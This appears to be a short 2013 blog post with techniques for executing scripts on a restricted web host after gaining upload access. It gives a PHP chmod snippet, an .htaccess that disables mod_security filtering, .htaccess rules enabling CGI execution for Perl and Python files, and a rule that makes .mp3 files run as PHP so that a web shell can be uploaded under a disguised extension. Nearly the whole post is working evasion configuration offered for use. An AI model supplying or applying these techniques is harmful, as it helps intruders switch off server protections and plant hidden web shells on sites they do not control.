Saturday, March 30, 2013


First thing if you can't use python , perl or cgi script to execute commands after giving to the script CHMOD 0755 the solution is to upload this variable php and edit it with the name of the file that you want to execute
exemple of a file: "perl.pl"


CODE:


<?
chmod("perl.pl" , 0755);
?>

Then save this file as ".php" extension.

 If the host is very secured and you can't read directories or upload a file or edit a file just use this ".htaccess"

CODE:


<IfModule mod_security.c>
# Turn the filtering engine On or Off
SecFilterEngine Off
</IfModule>


Remember if perl don't work with the variable php just use this ".htaccess"


CODE:

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .pl

AddHandler cgi-script .pl
AddHandler cgi-script .pl



For Python also same but change ".pl" to ".py" for cgi script use this ".htaccess"


CODE:


Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .root

AddHandler cgi-script .root
AddHandler cgi-script .root




If you want to Bypass Uploads Options and upload shell in another extension use this ".htaccess" :

CODE:

<FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>


For more Information check some old pastebin i posted ^_^





0 comments :

Post a Comment